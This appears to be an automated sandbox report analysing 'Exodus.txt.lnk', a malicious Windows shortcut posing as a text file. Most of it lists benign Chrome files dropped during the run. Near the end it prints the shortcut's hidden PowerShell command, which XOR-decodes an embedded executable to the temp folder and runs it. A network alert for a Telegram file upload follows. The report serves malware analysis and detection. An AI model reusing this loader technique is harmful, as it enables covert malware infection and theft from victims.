.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\SystemTemp\chrome_BITS_6496_1040530458\BITDD30.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	5351905
Entropy (8bit):	1.8112478027632082
Encrypted:	false
SSDEEP:	24576:P3UmBVQ/Q1WHZWDqW7yMKDfrx4LTcjjHhAoubSl:cmBV2Q1WHodyMKD9eTcjjBFz
MD5:	46E4EE02C8D9B77DE6EE0526C3A477D2
SHA1:	D7CC6638B2F502A582B80B47671249ED3B54F164
SHA-256:	4E9073E97299C2B284EB6EE070E44B6E2ACD6ADDF14034BC9ADBE90C63703138
SHA-512:	E7DDDAD90117AFF2C6205208805675A34238DB567C23E3DD78663A628912039A13679145150C5574D12864DA383759B9034637526BF03FE535EB8A005D3AC462
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b..........D\.THd.m..u.L6...Q.{\...X....^..w.S....iX<.4fn..]`D...3....h..<.]..P@T..;U....?..H.e...v....t...........U"...k..O5.H....%N)....F.5....!s%...#>.....d...8.9}uwd,CC.....q..K;..;..R.k.L.R......>..&}.1.&...5G.+....^".MNC...o\|..s..b....%.m.M..\|z......0.."0...*.H.............0............y..D%b7...a.P....~./~.d.2..K....7K....8...g@....Ux...x..,.G.U...H`..6.(.h....2..t8..#Uf.].i....\|D.I%..y.Z....e.c..UFe$p....,...s.!\$r.....r...i........#6I7u".Ev.../.z.............l...C.....vX.L..4u`..M.&.7o_..Y..;x_#'2........-1......^....`{.~.TLrD.,._ .7:\..n..&...G.E$ .A1.w.........r....E...>...i(... ..eRH..%O..)d.^w.2..,....g".^/=X.2.....&....S....><^..l^....c..D.g

C:\Windows\SystemTemp\chrome_BITS_6496_1652225558\BIT28B2.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	7326
Entropy (8bit):	7.727942782725483
Encrypted:	false
SSDEEP:	192:C37oyTIs04q37YgZkUBOoHMdNiP6nCm/9xjvhoRx6x82trRn:YTqU8AoH6n5zloaZN
MD5:	674314F5514D6F7EE43338AC4C765BFF
SHA1:	475BDCF05A8640634D82B60767100CDA5953396D
SHA-256:	03CCCBB22B17080279EA1707C9AB093C59F4F4DD09580C841CFA794CB372228D
SHA-512:	3731724AC6EA813251C12868C4FD6CE1E0E742D6655A9CDF638387A05330374129A261F73F93D06595FCF8A0DD558CE191A2D6D7B21F76FC54FBA2674573355F
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........Z......c.:..k7..O....32.k$H:...Q...a...r>xNa.....c..!....3...s.......w...{.W.&\.MY..OT!....u..}.T-._W.\^.2.8.r.t.e....i7..ug..<..t.4D...V0...X.o..G.@..._H...E....".'.)..x..]B.3....a..o1.Q..F/..m}..h\|s=HX.w"..+..>.Q.....\.S.Q~..~.,9..c!.v.3j,....h[.......0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Windows\SystemTemp\chrome_BITS_6496_1652225558\gonpemdgkjcecdgbnaabipppbmgfggbe_2024.11.08.00_all_ol2ffdgccopns43rnwvf6yhqoi.crx3 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	7326
Entropy (8bit):	7.727942782725483
Encrypted:	false
SSDEEP:	192:C37oyTIs04q37YgZkUBOoHMdNiP6nCm/9xjvhoRx6x82trRn:YTqU8AoH6n5zloaZN
MD5:	674314F5514D6F7EE43338AC4C765BFF
SHA1:	475BDCF05A8640634D82B60767100CDA5953396D
SHA-256:	03CCCBB22B17080279EA1707C9AB093C59F4F4DD09580C841CFA794CB372228D
SHA-512:	3731724AC6EA813251C12868C4FD6CE1E0E742D6655A9CDF638387A05330374129A261F73F93D06595FCF8A0DD558CE191A2D6D7B21F76FC54FBA2674573355F
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........Z......c.:..k7..O....32.k$H:...Q...a...r>xNa.....c..!....3...s.......w...{.W.&\.MY..OT!....u..}.T-._W.\^.2.8.r.t.e....i7..ug..<..t.4D...V0...X.o..G.@..._H...E....".'.)..x..]B.3....a..o1.Q..F/..m}..h\|s=HX.w"..+..>.Q.....\.S.Q~..~.,9..c!.v.3j,....h[.......0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Windows\SystemTemp\chrome_BITS_6496_540379872\BIT7ACB.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	37282
Entropy (8bit):	7.972760586995372
Encrypted:	false
SSDEEP:	768:B18Oi1BjTqoAtP2MljH/jpnOy0yQzNTpkWjQr4pfmAiA9c:38vBvq7blO0Q7Qr4pfNiAy
MD5:	180AFF9389D125CED0D9694CE795AA78
SHA1:	AE8992B95B2CA657713D9C190D095A3F2FB8ABDD
SHA-256:	FA0D6D9C4B0B82AFB2F2A5905EE915FCBEE32C741304885B1399DA5747ECED4E
SHA-512:	1B824087A94A2A52FDDA76D03B0867DAD30CD5AC0952EA371CCB894313C73D26618720023A6866709954CAA8A80BAB3D4D04CD2FC3F72302C95B924750CB2EDD
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........U...B..h.k.......2...@\|.........KM..n4d.&cfs...2..8W6$F9...5.Jg..0.&./.....T..J...1...>........Ll.B.P.yw.!.]w......H.3.....Uld....b..S.}...8.p\..r!X....x#..DK.[y...N.....nQI...e...9..^8.9miY.."/.!.T..P.<....{8>.R..{...!..h...L .G..kJ8...Q....&......0.."0....H.............0..........Dk.md)=..$.3..r......w.O........{._.-%....G....7R=.+..OA.....M~..(.t.(.R.J.."i..L_g..;.+^'..9.#../.T;-W..W_....OIC%..tRT...nB;(.i.w.W....^.=..<...K.}..)[$.E...U.t.......?YE.zW.2l..~.....R._...uRI...Qn..[..u.+........T(T/....(..r....qJ.6z..............C.F..m.z...8.. ...U...C.$...@`0.6......ou..7.]L.\|..A....B..i*.$.c...-B.w...m.....'...a...._............,...9.-......Nx

C:\Windows\SystemTemp\chrome_BITS_6496_540379872\gcmjkmgdlgnkkcocmoeiminaijmmjnii_9.53.0_all_iky7dhj3jd5su3axccoshyd4xm.crx3 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	37282
Entropy (8bit):	7.972760586995372
Encrypted:	false
SSDEEP:	768:B18Oi1BjTqoAtP2MljH/jpnOy0yQzNTpkWjQr4pfmAiA9c:38vBvq7blO0Q7Qr4pfNiAy
MD5:	180AFF9389D125CED0D9694CE795AA78
SHA1:	AE8992B95B2CA657713D9C190D095A3F2FB8ABDD
SHA-256:	FA0D6D9C4B0B82AFB2F2A5905EE915FCBEE32C741304885B1399DA5747ECED4E
SHA-512:	1B824087A94A2A52FDDA76D03B0867DAD30CD5AC0952EA371CCB894313C73D26618720023A6866709954CAA8A80BAB3D4D04CD2FC3F72302C95B924750CB2EDD
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........U...B..h.k.......2...@\|.........KM..n4d.&cfs...2..8W6$F9...5.Jg..0.&./.....T..J...1...>........Ll.B.P.yw.!.]w......H.3.....Uld....b..S.}...8.p\..r!X....x#..DK.[y...N.....nQI...e...9..^8.9miY.."/.!.T..P.<....{8>.R..{...!..h...L .G..kJ8...Q....&......0.."0....H.............0..........Dk.md)=..$.3..r......w.O........{._.-%....G....7R=.+..OA.....M~..(.t.(.R.J.."i..L_g..;.+^'..9.#../.T;-W..W_....OIC%..tRT...nB;(.i.w.W....^.=..<...K.}..)[$.E...U.t.......?YE.zW.2l..~.....R._...uRI...Qn..[..u.+........T(T/....(..r....qJ.6z..............C.F..m.z...8.. ...U...C.$...@`0.6......ou..7.]L.\|..A....B..i*.$.c...-B.w...m.....'...a...._............,...9.-......Nx

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\Filtering Rules

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SysEx File - GreyMatter
Category:	dropped
Size (bytes):	75076
Entropy (8bit):	5.536878116224829
Encrypted:	false
SSDEEP:	1536:BFJkJ9UJ9Gor+SRTpV7rSEc2xgmmD6I7knvvTsnlPUBkVxC7M0x5vPrwz:7uiJcoi0TptOEcSg1D6IovvTsnlPFVxf
MD5:	EABBA602AD039867B52E30E3E59EDC38
SHA1:	FAC94381CB8BD64D6EE5247060A3A3103FCD6D56
SHA-256:	68EF948A4727C058ED027C201EED5F749A508AE2732518188043AF70E6E41E75
SHA-512:	6C3FB4155FB43A544A4847794511A903A2E2B0DEE2FAC6C6378C735D8194FF0D7B095DC28EFF96F01E42B97E3BAC6C68B88FE25D6520DFAB131ACFDCF88ADFAC
Malicious:	false
Preview:	............0.8.@.R.-728x90...........0.8.@.R.adtdp.com^..........0.8.@.R.just-news.pro^..........0.8.@.R.yomeno.xyz^..........0.8.@.R.yellowblue.io^..........0.8.@.R.thubanoa.com^..........0.8.@.R.abh.jp^..........0.8.@.R.ad999.biz^..........0.8.@.R._468_60...........0.8.@.R.adrecover.com^..........0.8.@.R.pemsrv.com^..........0.8.@.R.mnaspm.com^.,........0.8.@.R.mysmth.net/nForum//ADAgent_.>...........worldstar.com0.8.@.R.js.assemblyexchange.com/wana..(........0.8.@.R.ogads-pa.googleapis.com^..........0.8.@.R.indoleads.com^.%......0.8.@.R.discordapp.com/banners/.(........0.8.@.R.looker.com/api/internal/.#........0.8.@.R.broadstreetads.com^.(........0.8.@.R.shikoku-np.co.jp/img/ad/..........0.8.@.R./banner.cgi?..........0.8.@.R./in/track?data=.!......0.8.@.R.linkbucks.com/tmpl/..........0.8.@.R.clicktripz.com^..........0.8.@.R.-ad-manager/........0.8.@.R.files.slack.com^.$........0.8.@.R.admitad-connect.com^.2........0.8.@.R"cloudfront.net/js/common/invoke.js..........0.8.@.R./300-2

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\LICENSE.txt

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24623
Entropy (8bit):	4.588307081140814
Encrypted:	false
SSDEEP:	384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm0:mvagXreRnTqzazWgj0v6XqD
MD5:	D33AAA5246E1CE0A94FA15BA0C407AE2
SHA1:	11D197ACB61361657D638154A9416DC3249EC9FB
SHA-256:	1D4FF95CE9C6E21FE4A4FF3B41E7A0DF88638DD449D909A7B46974D3DFAB7311
SHA-512:	98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EE5971817B7BBB612A034C746C2D81AE58FDF6873129256A89AA8BB7456022246DC4515BAAE2454B
Malicious:	false
Preview:	EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1529
Entropy (8bit):	5.970215376335647
Encrypted:	false
SSDEEP:	24:pZRj/flTHY+tCJVkYbKaR8uemFjeT3tzkaoX6pdKijihWUoXOgYhTYhXsvtYu0/T:p/h4oCHbKaiuqTtkak6SHkKh8Cix/NN
MD5:	4056E612209F7E171E97A4BAAD33E9D9
SHA1:	65552882A5046F8C4590114164527BB4E06A88C8
SHA-256:	3790644377239FA0ED31695DD6CA298E691D8A722079A120E3B95888CD02A59A
SHA-512:	9F319BF1F3FA801380BDA50C978068B9836C92FA3116DC0C161342819122C7C9B37F9D93286E6A47339728FD921287DD4CBBF49F42D25DBDFFD5492C8F704D92
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJGaWx0ZXJpbmcgUnVsZXMiLCJyb290X2hhc2giOiJucWhncWw5V1VKS1dsckxsMWcydDk3ZWZZV3pXSXFyS0ZEdUlBRzVYQ0NVIn0seyJwYXRoIjoiTElDRU5TRS50eHQiLCJyb290X2hhc2giOiIyaWswNmk0TFlCdVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVk0TGtzRFJJIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6Im94R3FoUXZuYXpkX25QakRtdGNHNVpldzVTNl9KX1dnWGF0Q1VuSDJaUzgifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJnY21qa21nZGxnbmtrY29jbW9laW1pbmFpam1tam5paSIsIml0ZW1fdmVyc2lvbiI6IjkuNTMuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"Aa9-IcWVFN0nZzRG-ALMAKq2-fXGbhYztlRiSxmkhnBtElMC1RGaLdE0fMq1d__FFc_2B0F3Lvo9_dPvqA5AntqZjbw7tZ5BDcmFZyPZUM4U_A7esIYs4F1_GWgF_GmZY5ue0QDdHLMf9QMFcrJKe7niWPPfZSno5bpUqHdwrmvuUnB_J8hk3JzN8Ybca2UY4cFhrpjlkg2kj5-intqNsPGHi4mrvZ7ctaffAkfMwzP3Xtcdw

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9784136821063196
Encrypted:	false
SSDEEP:	3:SMOGHtdUbb5UNGHMfn4yxqt:SM/HtdUPSGHsnFxqt
MD5:	20C72149A48962D86FFEAACF14CF63FC
SHA1:	EF8244AE418794FFCB01D09C9B577C942C9A8218
SHA-256:	9ABD021173116878060E97B8C1B034AA9535215F54CEEE82B4DF09F5B5A44E48
SHA-512:	F0B185B688913DF3F38308EB30207902CCB93C116EADB2668B3414ADD6944587C365CBA98F68C7BD1E15CA328934F61972785D61804BD3EF3287C7893BDBAD16
Malicious:	false
Preview:	1.fa0d6d9c4b0b82afb2f2a5905ee915fcbee32c741304885b1399da5747eced4e

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_1036454611\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.56489413033116
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFHXG7LGMdv5HcDKhtUJKS1B:F6VlMZWuMt5SKPS1B
MD5:	C5CADAB1F82F9B71621C1E776CAB86CF
SHA1:	C98F0A50560D2D6C60105426A0435F95023A7237
SHA-256:	A311AA850BE76B377F9CF8C39AD706E597B0E52EBF27F5A05DAB425271F6652F
SHA-512:	04DFBEA8D35FF5FB2B9926AE095A5243FCAFB8BD2AC269BF09CAE2DAFF03D67E777F157649A25ECD388566C54219AA85EB4F6DB213C8B1FA001526C5397CCE80
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "Subresource Filtering Rules",. "ruleset_format": 1,. "version": "9.53.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6496_8624738\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Static File Info

General

File type:	MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	6.22025891366915
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	Exodus.txt.lnk
File size:	74'022 bytes
MD5:	dbf4819fd016c532db4313b9748ed879
SHA1:	a5f3818adc3eb97b658f62c1144cbd2add8d5528
SHA256:	2932dfc97050720a10f6b41f2c765d6200c64ed418a7058126965e827953323d
SHA512:	a5e5fb0a1d3280ec98b651e5a3649bd7178a4851806a379abc914632b87c9a92a3eabf79bf91d04a4803de817063e93fff0b91a7d7951c383fee0f32c6898387
SSDEEP:	1536:rRJzAcf/xgpDWDpMrGKrV4Af/NioMx6r/Shb5hbYj9gPzAe7uETdJbFV91a:rEcfW1WD4GiGAf/0HbYpgluQTJV91a
TLSH:	F3736C91B96D3A51DB6E843371B453F4B43F9226027AAAB5203C73539353E6B9D00B3E
File Content Preview:	L..................F........................................................A.T.y.p.e.:. .T.e.x.t. .D.o.c.u.m.e.n.t...S.i.z.e.:. .5...2.3. .K.B...D.a.t.e. .m.o.d.i.f.i.e.d.:. .0.1./.0.2./.2.0.2.0. .1.1.:.2.3.z. . . . . . . . . . . . . . . . . . . . . . .

File Icon


Icon Hash:	f9f9fcd8ccc9ed4d

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	/c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^\| where-object {$_.length -eq 0x00012126} ^\| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^\| select -Skip 002838)) -Encoding Byte; ^& $path;
Icon location:	%windir%\system32\notepad.exe

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:42:02.431402+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.5	49724	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:41:42.082727909 CET	49675	443	192.168.2.5	23.1.237.91
